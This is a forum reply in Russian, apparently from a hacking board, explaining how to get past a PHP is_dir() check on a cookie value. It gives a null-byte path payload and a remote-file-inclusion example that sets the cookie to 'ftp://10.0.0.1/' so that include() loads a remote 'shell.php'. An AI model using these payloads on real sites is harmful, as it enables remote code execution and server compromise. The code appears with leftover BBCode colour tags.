Показать сообщение отдельно

  #7  
Старый 14.07.2011, 18:49
XAMEHA
Новичок
Регистрация: 15.05.2010
Сообщений: 0
С нами: 8417113

Репутация: 0
По умолчанию

Цитата:
Сообщение от ysmat  
можно ли обойти проверку в is_dir
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]if (@[/COLOR][COLOR="#0000BB"]is_dir[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_COOKIE[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'abcd'[/COLOR][COLOR="#007700"]]) {[/COLOR][COLOR="#0000BB"]$config[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_COOKIE[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'abcd'[/COLOR][COLOR="#007700"]]; }[/COLOR][/COLOR
то есть проверку на директорию
допустим нужно задать такой путь
abcd = /home/www/sell.gif
Возможно.

Если строка переданная в is_dir, будет наполовину обрезана нулл-байтом, а функция в которую она будет помещена, не будет его считать(Или он после будет убираться) то возможно вставить любой путь.

Код:
/home/www/%00sell.gif
Ну и ещё один вариант:

Если переменная далее будет помещена в функцию, не добавляя к ней ничего в начале(Возможно и добавляя, зависит от кода), и добавляя префикс в конце, а функция будет наподобие той, которая работает с файлами, то возможно будет передать удалённую директорию, например по протоколу FTP:

PHP код:
[COLOR="#000000"][COLOR="#0000BB"]$_COOKIE[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'abcd'[/COLOR][COLOR="#007700"]] =[/COLOR][COLOR="#DD0000"]'ftp://10.0.0.1/'[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#FF8000"]//-----------

[/COLOR][COLOR="#007700"]if (@[/COLOR][COLOR="#0000BB"]is_dir[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_COOKIE[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'abcd'[/COLOR][COLOR="#007700"]])

{

include([/
COLOR][COLOR="#0000BB"]$_COOKIE[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'abcd'[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#DD0000"]'shell.php'[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#FF8000"]//Возможны и другие функции, будет лучше если приведёшь полный код

//Ну разумеется на настройки php.ini тоже следует обратить внимание

[/COLOR][COLOR="#007700"]}[/COLOR][/COLOR
Даже если в данной ситуации путь будет неизвестен, то будет возможно запрограммировать сервер что бы передавал нужный ко по любому запросу.
 
Ответить с цитированием